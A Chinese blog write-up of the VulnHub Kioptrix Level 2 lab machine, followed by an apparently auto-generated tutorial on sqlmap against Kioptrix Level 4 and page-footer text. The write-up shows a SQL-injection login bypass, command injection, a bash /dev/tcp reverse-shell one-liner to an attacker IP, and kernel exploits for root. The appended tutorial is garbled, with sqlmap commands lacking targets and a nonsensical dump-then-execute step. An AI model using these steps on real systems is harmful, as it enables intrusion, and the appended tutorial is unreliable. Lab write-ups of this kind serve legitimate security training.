VulnHub——Kioptrix Level 2

本文介绍了一次靶机渗透测试过程,从SQL注入登录管理页面,到利用命令注入获得WebShell,再到利用内核漏洞提升至root权限。展示了信息收集、漏洞发现及利用、权限提升等关键步骤。

简介

靶机较为简单,通过登录页SQL注入漏洞登录管理页面,然后利用命令注入漏洞获得Web Shell,最后利用内核漏洞提升至root权限。

信息收集

使用fping -agq 192.168.0.0/24探测局域网内其它主机,发现目标主机IP地址,如图:

然后使用nmap --min-rate 10000 -T5 -A -sC -p1-65535 192.168.0.130快速扫描目标主机开启的端口与服务,发现开启22,80,111,443,631,868和3306端口,分别运行着OpenSSH 3.9p1,Apache httpd 2.0.20,rpcbind,https,CUPS1.1,RPC和MySQL服务,操作系统可能为CentOS 2.6,如图:

使用SearchSploit搜索openssh 漏洞如图:

使用Google搜索631端口运行的服务CUPS/1.1漏洞,发现存在缓冲区溢出、本地权限提升和任意文件覆盖漏洞,使用SearchSploit查找漏洞利用程序,如图:

漏洞发现

使用dirbuster扫描80端口和631端口目录时未发现有用的信息,使用nikto扫描漏洞时也未发现存在SQL注入漏洞,虽然631端口允许PUT方法,但是由于目录没有权限,故无法上传文件。使用漏洞数据库中openssh的漏洞利用程序无法获得shell。然后访问80端口Web服务,发现是个简陋的登录页面,如图:

在源代码中发现网页提交登录信息到index.php,且有一句注释像是提示,如图:

SQL注入漏洞

使用单引号测试SQL注入发现页面没有任何变化,尝试使用用户名‘=’和密码‘=’登录成功,如图:

可见这里存在SQL注入,使用sqlmap测试时,在level=3,risk=2的条件下发现uname参数存在SQL注入漏洞,如图:

但是权限较低,无法通过SQL注入获取root用户密码和shell。

命令注入漏洞

在登录后的页面测试是否存在命令注入漏洞,使用127 & id测试,成功执行命令,如图:

 漏洞利用

利用命令注入漏洞通过bash -i >& /dev/tcp/192.168.0.128/4444 0>&1反弹shell,如图:

权限提升

查看内核版本,发现是2.6.9-55,如图:

使用searchsploit查找centos 2.x的内核提权漏洞利用程序,如图:

将9545.c上传到目标主机,编译后执行,成功获得root权限,如图:

同样,将9542.c上传到目标主机,编译后执行,成功获得root权限,如图:

总结

该靶机没有花太多时间,在SQL注入以及尝试使用其他方法提权上花的时间比较多,但最终未找到除内核漏洞提权外的其它方法。

VulnHubKioptrix Level 4是一个常见的渗透测试平台,它模拟了一个Linux服务器环境,挑战玩家通过一系列的安全漏洞进行系统级别的权限提升。在这个级别中,其中一个目标是利用SQL注入漏洞并使用`sqlmap`工具获取数据库shell权限。 **步骤1:识别SQL注入点** 首先,你需要登录到kioptrix服务器,并尝试交互式命令行,可能会发现涉及数据库查询的操作存在输入验证不足,这通常是SQL注入的线索。 **示例命令** (假设使用nc工具连接): ``` nc <Kioptrix IP> <Port> ``` **步骤2:使用sqlmap** 安装sqlmap,你可以使用pip安装: ```bash pip install sqlmap ``` 然后尝试运行sqlmap,传入url和你认为可能的注入点: ```bash sqlmap -u '<URL>' --data='<payload>' --dbs # payload可能是'username=your_username&password=' ``` 这里payload通常包含一些特殊字符,如单引号('), 双引号("),或者空格。 **步骤3:获取数据库信息** 一旦成功注入,sqlmap会尝试列出可用的数据库、表以及获取敏感数据,如用户和密码: ```bash # 获取所有数据库 sqlmap --dbs # 进一步查看特定数据库的表 sqlmap --db=<database_name> --tables # 获取表中的数据 sqlmap --db=<database_name> --table=<table_name> --columns ``` **步骤4:利用shell命令** 如果找到合适的列(比如存放shell路径或可执行文件的列),可以尝试执行SQL命令获取shell,例如: ```bash sqlmap --db=<database_name> --table=<table_name> --column=executable_file --where="id=<target_id>" --dump ``` 这将下载到一个可执行文件,然后尝试使用它作为shell: ```bash wget <file_path> && chmod +x <file_path> && ./<file_path> ``` **注意**: - 操作需谨慎,确保不会触发防火墙或者进一步锁定账户。 - 实际操作过程中可能需要根据服务器的日志和提示调整payload和命令。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值